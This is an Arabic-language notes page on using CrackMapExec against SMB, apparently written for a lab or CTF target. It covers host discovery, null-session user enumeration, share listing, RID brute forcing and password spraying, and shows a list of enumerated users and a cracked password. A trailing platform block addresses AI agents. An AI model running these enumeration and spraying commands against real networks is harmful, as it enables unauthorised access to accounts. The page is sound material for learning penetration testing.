> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/ports-and-services/smb-445/crackmapexec-smb-tool.md).

# CrackMapExec (أداة SMB)

> CrackMapExec (CME) هو أداة تدقيق أمني لما بعد الاستغلال في بيئات Active Directory. تتحقق من بيانات الاعتماد، وتفهرس تعرّض SMB، وتكتشف نقاط الضعف الشائعة، ويمكنها تنفيذ أوامر عن بُعد عندما تتوفر صلاحيات كافية.

### **استكشاف الأنظمة**

لتحديد الأنظمة على الشبكة واكتشاف اسم المجال:

```bash
crackmapexec smb 10.10.10.10
```

يوفّر هذا معلومات حول خادم SMB المستهدف، بما في ذلك المجال والخدمات المتاحة.

<figure><img src="/files/61f8f8cc9e33641a58098212f10fbfc6b6cc9dda" alt=""><figcaption></figcaption></figure>

#### استكشاف المستخدمين

```bash
crackmapexec smb 10.10.10.10 -u '' -p '' --users
```

### **التحقق من بيانات الاعتماد**

للتحقق مما إذا كانت زوج اسم المستخدم/كلمة المرور صالحًا:

```bash
crackmapexec smb 10.10.10.10 -u '<user>' -p '<password>'
```

إذا كانت بيانات الاعتماد صحيحة، فسيؤكد CME الوصول إلى النظام المستهدف.

<figure><img src="/files/a42f5e8ff5b37b72ee352a2db7d43da66e200767" alt=""><figcaption></figcaption></figure>

### **التحقق من بيانات الاعتماد مع وصولٍ مرتفع (PWNED)**

إذا كان المستخدم ينتمي إلى **Remote Management Users** المجموعة، فيمكن للحساب الاتصال مباشرة بالنظام المستهدف. للتحقق من هذه البيانات الاعتمادية:

```bash
crackmapexec smb 10.10.10.10 -u '<user>' -p '<password>'
```

تعني الاستجابة التي تشير إلى وصول PWNED أن المستخدم يمتلك صلاحيات مرتفعة، ما قد يسمح بالتنفيذ عن بُعد.

<figure><img src="/files/11c03ce40bd17d73e1a56cd8d3df3655f5b40e8c" alt=""><figcaption></figcaption></figure>

### **استكشاف المشاركات والأذونات**

لاستكشاف الأذونات والمشاركات الشبكية المتاحة باستخدام بيانات الاعتماد المقدمة:

```bash
crackmapexec smb 10.10.10.10 -u '<user>' -p '<password>' --shares
```

يعرض هذا المشاركات المتاحة والأذونات المرتبطة بالمستخدم.

<figure><img src="/files/9a3da5577a2b7e022b9c1acf8e16b88dc4067439" alt=""><figcaption></figcaption></figure>

### القوة الغاشمة لـ RID

#### لتحديد مستخدمي المجال، شغّل هجوم قوة غاشمة لـ RID:

```bash
crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute
```

> الـ `--rid-brute` المُعامل **هجومًا بالقوة الغاشمة** ضد **RIDs (المعرّفات النسبية)** في مجال Windows. إن RID هو جزء من معرّف أمني في Windows ويُستخدم عادةً لتحديد حسابات المستخدمين والمجموعات.

<figure><img src="/files/92261f08e1138dfa6fb66868359d55018122e900" alt=""><figcaption></figcaption></figure>

هذه هي قائمة المستخدمين الذين تم العثور عليهم:

```
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscars
```

#### التحقق من المستخدم

اختبر كلمة المرور المكتشفة ضد جميع المستخدمين الذين تم تعدادهم:

```bash
crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8'
```

المستخدم **michael.wrightson** يستخدم هذه كلمة المرور.

<figure><img src="/files/acc3cbf9e41f5775e9a71108dcee72c3201d8796" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/ports-and-services/smb-445/crackmapexec-smb-tool.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
